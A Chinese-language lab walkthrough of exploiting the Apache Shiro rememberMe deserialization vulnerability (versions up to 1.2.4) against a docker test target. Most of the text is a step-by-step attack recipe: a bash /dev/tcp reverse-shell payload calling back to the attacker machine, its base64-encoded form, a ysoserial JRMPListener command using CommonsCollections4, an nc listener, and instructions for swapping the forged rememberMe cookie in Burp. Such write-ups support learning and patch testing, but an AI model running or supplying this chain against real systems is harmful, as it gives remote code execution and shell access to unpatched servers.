一、漏洞概述
1、漏洞原因
Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 -> Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的(也就随系统固定的),就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
2、影响版本
Apache Shiro <= 1.2.4
二、环境准备
1、环境搭建
获取docker镜像docker pull medicean/vulapps:s_shiro_1
启动docker镜像docker run -d -p 8081:8080 medicean/vulapps:s_shiro_1
2、环境说明
攻击机kali:192.168.52.129
目标机centos7:192.168.52.128
三、漏洞利用
1、制作反弹shell payload
编码网站:http://www.jackson-t.ca/runtime-exec-payloads.html
编码以下payload:bash -i >& /dev/tcp/192.168.52.129/1234 0>&1
编码后:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUyLjEyOS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}
2、kali使用ysoserial监听
使用kali需要在ysoserial.jar
目录下使用ysoserial中JRMP
监听模块,监听6666端口:java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUyLjEyOS8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
需要把单引号中的替换成编码后的反弹shell payload
3、监听反弹shell端口nc -lvnp 1234
4、生成pocpython shiro.py 192.168.52.129:6666
5、poc利用
(1)访问搭建好的环境
(2)先登录,勾选上rememberme
,输入给好的账号密码,登录
(3)在首页访问,并且bp抓包
抓包后发现cookie中存在rememberme
只保留rememberme
,并替换成生成的payload,其他删了
(4)JRMP监听到连接,并把反弹shell的payload发送过去
nc收到反弹的shell